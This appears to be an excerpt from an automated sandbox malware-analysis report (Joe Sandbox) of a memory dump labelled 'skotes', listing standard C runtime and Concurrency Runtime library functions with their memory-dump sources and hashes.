__freea.LIBCMT ref: 003A4DCA

Part of subcall function 0039B04B: RtlAllocateHeap.NTDLL(00000000,7F551698,?,?,0037D3FC,7F551698,?,00377A8B,?,?,?,?,?,?,00367465,?), ref: 0039B07E

__freea.LIBCMT ref: 003A4DD3
__freea.LIBCMT ref: 003A4DF6

Strings

Z9,m9, xrefs: 003A4C26

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z9,m9
API String ID: 1423051803-1690640081
Opcode ID: 3ebee1aca0ec5c4b6eab84c792441ebe84e3a3c7bdccacd9a58d3452d3b97e29
Instruction ID: ae57d9edc5a17576df50384ee7003854a4f31d789ce9e2bd9f2a51e04933bd5e
Opcode Fuzzy Hash: 3ebee1aca0ec5c4b6eab84c792441ebe84e3a3c7bdccacd9a58d3452d3b97e29
Instruction Fuzzy Hash: 3551D572600216AFDF235F64DC45EBB77A9DFC2760F164229FD089B242EBB1DC108660

Function 0038DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0038DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0038DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0038DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0038DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0038DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0038DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0038DE74

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 50c039dfdee8d0db625e6a9baf204d13c7b20c70dc622f871661c0dd24e6e240
Instruction ID: 3b36ac59aa5da2058e2d0ceb0ba68e1b3f187b55e69ca08f980ac823b396a489
Opcode Fuzzy Hash: 50c039dfdee8d0db625e6a9baf204d13c7b20c70dc622f871661c0dd24e6e240
Instruction Fuzzy Hash: 8C41A930A043459ACF2BFBA084557ED7BB56F11704F1844E9E9466F2C3CB399E08CB62

Function 0038E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0038E7D7

Part of subcall function 0038E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0038E577
Part of subcall function 0038E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0038E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0038E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0038E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0038E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0038E879
Concurrency::location::_Assign.LIBCMT ref: 0038E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0038E8B5

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 41da3cc3050f3580cf0de8882d4247f6278b9cc72103418addeb7831c4722ba6
Instruction ID: 4ed4ab5a3ad7681568749e579142f430d6e6ffcbb74bca278dc3bc8b8fe9896b
Opcode Fuzzy Hash: 41da3cc3050f3580cf0de8882d4247f6278b9cc72103418addeb7831c4722ba6
Instruction Fuzzy Hash: 40414A35A00204EFCF06EF64C494AADB7BAFF48310F1580A9ED499F382DB30A941CB91

Function 00376E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00376ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00376F22
std::_Rethrow_future_exception.LIBCPMT ref: 00376F32
__Mtx_unlock.LIBCPMT ref: 00376FD5
__Mtx_unlock.LIBCPMT ref: 003770DB
__Mtx_unlock.LIBCPMT ref: 00377116

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989006743.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989121370.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989204331.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989317998.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989410074.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989522019.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989591959.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989663637.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989703566.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989742769.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989792278.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989929673.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989974444.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990054603.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990146098.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990229572.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990376031.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990417701.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990507157.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990549882.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990591176.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990623602.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990652710.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 168a7bbde22f598efb4c46104e518fcb994d7d6b4c38aa3b0026312de1b28dc5
Instruction ID: 5ee3316cafa91c92517d856725b2ce2c2846d72ce56929b5d014a296d4d548f9
Opcode Fuzzy Hash: 168a7bbde22f598efb4c46104e518fcb994d7d6b4c38aa3b0026312de1b28dc5
Instruction Fuzzy Hash: 66C1C3719047449BDF32DF74C945BAEBBF4AF05310F04892DE41AAB651DB39A904CB61

Function 003844DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00384538
ListArray.LIBCONCRT ref: 0038456C
Hash.LIBCMT ref: 003845D5
Hash.LIBCMT ref: 003845E5

Part of subcall function 00389C41: std::bad_exception::bad_exception.LIBCMT ref: 00389C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0038474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 003847A4

Memory Dump Source

Source File: 00000006.00000002.2985109960.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000006.00000002.2984992179.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985109960.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985544567.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985665317.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985809368.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985943484.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986084355.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986909341.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986977969.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987162375.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987300789.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987396091.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987502193.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987588956.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987793935.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987888154.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988005497.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988042625.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988115025.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988205693.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988314202.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988424214.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988519731.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988595609.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988742380.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2988853130.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
